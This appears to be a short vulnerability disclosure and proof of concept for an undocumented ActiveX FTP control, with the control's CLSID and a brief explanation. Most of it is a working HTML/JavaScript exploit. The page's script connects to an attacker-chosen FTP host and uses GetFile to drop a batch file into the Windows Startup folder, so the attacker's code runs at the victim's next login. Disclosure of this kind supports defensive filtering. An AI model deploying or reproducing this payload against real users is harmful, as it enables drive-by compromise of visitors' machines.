This class allows to copy/overwrite files inside arbitrary locations ex. by the GetFile() method. This code creates a batch file inside the automatic startup folder, setup a ftp server allowing anonymous connections and place the code you want to be retrieved. This control is also used by lots of freeware applications, it was not documented so I posted here. Note that previous versions has a different clsid, I'm saying this for filtering purposes. --> <html> <object classid='clsid:302124C4-30A0-484A-9C7A-B51D5BA5306B' id='obj' /> </object> <script> obj.UnlockComponent("suntzu"); //needed for file transfer operations, type whatever here obj.Port=21; //configure ftp connection obj.Hostname="192.168.0.1"; //change here obj.ConnectTimeout=5; obj.Passive=1; var x; x=obj.Connect(); if (x==1){ x = obj.GetFile("suntzu.txt","c:/Users/All Users/Microsoft/Windows/Start Menu/Programs/Startup/suntzu.bat"); //boom } obj.Disconnect(); </script>
